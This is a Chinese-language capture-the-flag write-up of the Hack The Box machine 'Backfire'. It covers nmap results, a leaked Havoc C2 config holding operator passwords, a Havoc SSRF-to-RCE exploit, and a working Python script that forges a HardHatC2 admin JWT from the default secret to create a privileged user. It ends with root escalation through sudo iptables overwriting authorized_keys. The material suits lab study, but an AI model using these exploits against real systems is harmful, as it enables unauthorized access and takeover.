Backfire

10.10.11.49

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# Nmap 7.95 scan initiated Sat Apr 19 20:21:32 2025 as: nmap -e utun4 -sC -sV -vv -oA nmap/default 10.10.11.49
Nmap scan report for 10.10.11.49
Host is up, received echo-reply ttl 63 (0.12s latency).
Scanned at 2025-04-19 20:21:45 CST for 23s
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJuxaL9aCVxiQGLRxQPezW3dkgouskvb/BcBJR16VYjHElq7F8C2ByzUTNr0OMeiwft8X5vJaD9GBqoEul4D1QE=
| 256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA2oT7Hn4aUiSdg4vO9rJIbVSVKcOVKozd838ZStpwj8
443/tcp open ssl/http syn-ack ttl 63 nginx 1.22.1
|_http-title: 404 Not Found
|_http-server-header: nginx/1.22.1
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=CO/stateOrProvinceName=Illinois/countryName=US/postalCode=7201/localityName=Aurora/streetAddress=
| Subject Alternative Name: IP Address:127.0.0.1
| Issuer: commonName=127.0.0.1/organizationName=CO/stateOrProvinceName=Illinois/countryName=US/postalCode=7201/localityName=Aurora/streetAddress=
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T19:41:43
| Not valid after: 2028-04-16T19:41:43
| MD5: 9476:5696:8322:7e6b:6c32:9475:a7b6:84ec
| SHA-1: 2776:0116:2b52:4a61:ad4a:bd45:d1a3:72d0:bbaa:249a
| -----BEGIN CERTIFICATE-----
| MIID1TCCAr2gAwIBAgIRAL3BA9vc2XqEqCGX0JDOFcowDQYJKoZIhvcNAQELBQAw
| bDELMAkGA1UEBhMCVVMxETAPBgNVBAgTCElsbGlub2lzMQ8wDQYDVQQHEwZBdXJv
| cmExCTAHBgNVBAkTADENMAsGA1UEERMENzIwMTELMAkGA1UEChMCQ08xEjAQBgNV
| BAMTCTEyNy4wLjAuMTAeFw0yNTA0MTcxOTQxNDNaFw0yODA0MTYxOTQxNDNaMGwx
| CzAJBgNVBAYTAlVTMREwDwYDVQQIEwhJbGxpbm9pczEPMA0GA1UEBxMGQXVyb3Jh
| MQkwBwYDVQQJEwAxDTALBgNVBBETBDcyMDExCzAJBgNVBAoTAkNPMRIwEAYDVQQD
| EwkxMjcuMC4wLjEwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCXJKil
| TwjPIEVSELZ8ipTegKP00yLysnFv2jM8jwgZrrhCFJF8QHk5zuWDcUyqG4ku1chF
| I0BtMJshtWe8NiiQoYvfVjiT6FPhmVwjkFtF0brp5n7HLH+LcAowv5ubfkVxor7b
| xxIDKvoACYB4q/FLadLN55vPb+rD4s2ESDPxzwPnTBGqLwTb26GB+718138z1OV/
| Gu+H+7AHwbFub4oUsV4EM3KjAX8Bn6Nk84QoELGUhXzW4Y/7AvH587hgc5lBM4mo
| KKj9RJ6XG3kJllXrknGTwbAmxrtK5PejMcn/IEGAmoLZIdMmBJGayPRJF/2t4W0U
| LCt1TyMCfdC4gPJRAgMBAAGjcjBwMA4GA1UdDwEB/wQEAwICpDAdBgNVHSUEFjAU
| BggrBgEFBQcDAQYIKwYBBQUHAwIwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU
| hPux5PLvntKxY1dIciyPd03gkZAwDwYDVR0RBAgwBocEfwAAATANBgkqhkiG9w0B
| AQsFAAOCAQEAZI3bdSQVvQxa14wtN7ywTBZT17UHCGectxo5fi6loJM9KQ4OidQv
| u1g+bhO4e4cgxZP7Neg1r6kq8s5RaApLIWeWUu9HWCVtnpKaNrc1WaMKNZ5xvkqj
| AE9wlVTTmZGfMuhEfmYZr2PpxzWFYkzW35zRLqB7TZMIJhtCmp/vkalFekqRgYDm
| ynihWq9V/P4lRP+ohcAU/PE8EBdCAqc3T25bEKgLaNTXKslYFO4oUVhZYMSiSQ6X
| 4ElAqD9uv3hBlqU24Y/7WUrbuwWvPPp/OKOktQl7Zccu0AwLansDvVZAuzt6nrp7
| 1tpn9Grc0ltHzMD7WHLm5X3qQML/QaFAKA==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
5000/tcp filtered upnp port-unreach ttl 63
8000/tcp open http syn-ack ttl 63 nginx 1.22.1
|_http-title: Index of /
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.22.1
|_http-open-proxy: Proxy might be redirecting requests
| http-ls: Volume /
| SIZE TIME FILENAME
| 1559 17-Dec-2024 12:31 disable_tls.patch
| 875 17-Dec-2024 12:34 havoc.yaotl
|_
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /opt/homebrew/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 19 20:22:08 2025 -- 1 IP address (1 host up) scanned in 36.29 seconds

8000 nginx

8000 端口托管了两个文件
http://10.10.11.49:8000/havoc.yaotl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Teamserver {
Host = "127.0.0.1"
Port = 40056

Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}

Operators {
user "ilya" {
Password = "CobaltStr1keSuckz!"
}

user "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
}
}

Demon {
Sleep = 2
Jitter = 15

TrustXForwardedFor = false

Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}

Listeners {
Http {
Name = "Demon Listener"
Hosts = [
"backfire.htb"
]
HostBind = "127.0.0.1"
PortBind = 8443
PortConn = 8443
HostRotation = "round-robin"
Secure = true
}
}

看起来是 havoc 的 teamserver 配置,其中包含两个凭据

1
2
ilya:CobaltStr1keSuckz!
sergej:1w4nt2sw1tch2h4rdh4tc2

ssh 仅限 publickey 登陆,不考虑尝试。将 backfire.htb 添加到 hosts

http://10.10.11.49:8000/disable_tls.patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromize our teamserver

diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
{
Teamserver = ConnectionInfo;
Socket = new QWebSocket();
- auto Server = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+ auto Server = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
auto SslConf = Socket->sslConfiguration();

/* ignore annoying SSL errors */
SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
- Socket->setSslConfiguration( SslConf );
Socket->ignoreSslErrors();

QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
}

// start the teamserver
- if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+ if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
logger.Error("Failed to start websocket: " + err.Error())
}

443 havoc listener

找到一个 havoc 的 ssrf 漏洞,验证一下
ssrf-poc
漏洞存在,又找到一个基于此 ssrf 和已知用户名密码的 RCE https://github.com/thisisveryfunny/CVE-2024-41570-Havoc-C2-RCE
rce
bravo! 拿到用户 ilya user shell

7096 5000 hardhatc2

1
2
3
$ ilya@backfire:~$ cat hardhat.txt 
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#

ssh 隧道将 7096 5000 端口转发到本地
由文章 https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7 可知默认配置的 hardhatc2 可以伪造 jwt 创建任意用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# @author Siam Thanat Hack Co., Ltd. (STH)
import jwt
import datetime
import uuid
import requests

# rhost = 'localhost:7096'
rhost = 'localhost:5000'

# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()

expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}

token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)

# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "mokou",
"role": "TeamLead",
"username": "mokou123"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
user-create
user-create
rce
rce

拿到 sergej 用户 shell

linpeas.sh

proc
proc
ports
ports
sudoer
sudoer

提权

sudo
sudo

由文章 https://www.shielder.com/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/ 可知当同时可以 sudo iptablessudo iptables-save 时,可以以 root 权限覆盖写入任意文件。于是写入 root 的 authorized_keys
rooted

总结

通过 havoc SSRF 结合泄漏的凭据构造 websocket 请求执行任意命令获取 ilya user shell。
通过 hardhatc2 的默认配置 jwt secret 伪造管理员 token,创建 teamlead 用户登陆 hardhat 网页执行任意命令获取 sergej shell,通过 sudo 权限的 iptablesiptables-save 覆盖 /root/.ssh/authorized_keys 获取 root shell。